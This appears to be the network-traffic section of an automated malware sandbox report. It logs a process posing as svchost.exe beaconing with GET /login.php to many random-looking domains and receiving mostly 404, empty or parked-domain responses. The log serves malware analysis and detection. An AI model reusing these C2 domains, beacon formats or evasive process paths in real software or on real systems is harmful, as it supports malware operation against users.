                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: puzylyp.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.354079008 CET166INHTTP/1.1 308 Permanent Redirect
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Location: https://puzylyp.com/login.php
                                                                                                                                                                                                                    Server: Caddy
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:20 GMT
                                                                                                                                                                                                                    Content-Length: 0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    3192.168.2.44973423.253.46.64807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.032640934 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gahyqah.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.487137079 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Server: Microsoft-IIS/7.5
                                                                                                                                                                                                                    X-Powered-By: ASP.NET
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:15 GMT
                                                                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.487164974 CET169INData Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67
                                                                                                                                                                                                                    Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    4192.168.2.449735178.162.203.226807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.107060909 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gatyfus.com


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    5192.168.2.449736208.100.26.245807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.131571054 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lyvyxor.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.577707052 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:20 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 580
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.579003096 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lyvyxor.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.684959888 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:20 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 580
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.585503101 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lyvyxor.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.688106060 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:48 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 580
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.925285101 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lyvyxor.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.028930902 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:48 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 580
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    6192.168.2.44973744.221.84.105807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.221009016 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qetyfuv.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.649797916 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:20 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Set-Cookie: btst=fc5e4a3e6aa42297d491f02bfad43b44|66.23.206.109|1731347300|1731347300|0|1|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                                    Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                                    Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: 0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    7192.168.2.44973818.208.156.248807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.237143993 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: vonypom.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.664666891 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:20 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Set-Cookie: btst=dfc3ecbc2a8ecc094aa230d72881c598|66.23.206.109|1731347300|1731347300|0|1|0; path=/; domain=.vonypom.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                                    Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                                    Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: 0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    8192.168.2.44973944.221.84.105807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.252021074 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: vocyzit.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.676151037 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:20 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Set-Cookie: btst=16cf0b96f8f0fc580a6117c71966148e|66.23.206.109|1731347300|1731347300|0|1|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                                    Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                                    Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: 0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    9192.168.2.449740199.59.243.227807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.290137053 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: vojyqem.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.713488102 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:48:20 GMT
                                                                                                                                                                                                                    content-type: text/html; charset=utf-8
                                                                                                                                                                                                                    content-length: 1094
                                                                                                                                                                                                                    x-request-id: 7d78dc28-dec6-4077-b1a8-5616691eeba3
                                                                                                                                                                                                                    cache-control: no-store, max-age=0
                                                                                                                                                                                                                    accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==
                                                                                                                                                                                                                    set-cookie: parking_session=7d78dc28-dec6-4077-b1a8-5616691eeba3; expires=Mon, 11 Nov 2024 18:03:20 GMT; path=/
                                                                                                                                                                                                                    Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pr
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.713742018 CET528INData Raw: 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65
                                                                                                                                                                                                                    Data Ascii: econnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiN2Q3OGRjMjgtZGVjNi00MDc3LWIxYTgtNTYxNjY5MWVlYmEzIiwicGFnZV90aW1lIjoxNzMxMzQ3MzAwLCJwYWdlX3VybCI6I


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    10192.168.2.44974223.253.46.64807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.495357037 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gahyqah.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.950676918 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Server: Microsoft-IIS/7.5
                                                                                                                                                                                                                    X-Powered-By: ASP.NET
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:15 GMT
                                                                                                                                                                                                                    Content-Length: 1245
